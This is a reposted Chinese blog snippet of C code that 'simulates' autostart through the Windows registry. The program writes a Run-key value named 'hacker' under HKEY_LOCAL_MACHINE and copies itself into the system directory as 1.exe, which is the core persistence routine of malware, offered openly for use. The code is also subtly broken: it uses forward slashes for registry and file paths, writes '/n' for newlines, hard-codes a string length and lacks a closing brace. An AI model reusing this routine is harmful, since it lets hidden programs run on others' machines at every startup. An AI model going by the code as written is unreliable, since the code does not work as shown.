[C语言]模拟用注册表实现自启动

来源:互联网 发布:python 获取当前毫秒 编辑:程序博客网 时间:2024/05/20 10:56

#include <stdio.h>
#include <windows.h>

int main()
{
 HKEY hkResult;
 char regName[] = "Software//Microsoft//Windows//CurrentVersion//Run";
 int ret;

// ret = RegOpenKey(HKEY_LOCAL_MACHINE,regName,&hkResult); 
 ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE, regName, 0, KEY_ALL_ACCESS, &hkResult ); //打开注册表
 ret = RegSetValueEx( hkResult, "hacker", 0, REG_EXPAND_SZ, (unsigned char *)"%systemroot%//1.exe", 25 ); //写值

 if( 0 == ret ) //判断是否成功
 {
  printf("success to write run key/n");
  RegCloseKey( hkResult );
 }
 else
 {
  printf("error!");
  return 0;
 }

 char exePath[256];
 char sysPath[256];

 GetModuleFileName( 0, exePath, 256 );  //得到当前运行的程序名
 GetSystemDirectory( sysPath, 256 );  // 得到系统文件夹

 ret = CopyFile( exePath, strcat( sysPath, "//1.exe" ), 1 );  // 把当前程序写到系统文件夹下

 if(ret) // 判断是否成功
  printf("success!/n");
 else
  printf("error!/n");

 return 0;

原创粉丝点击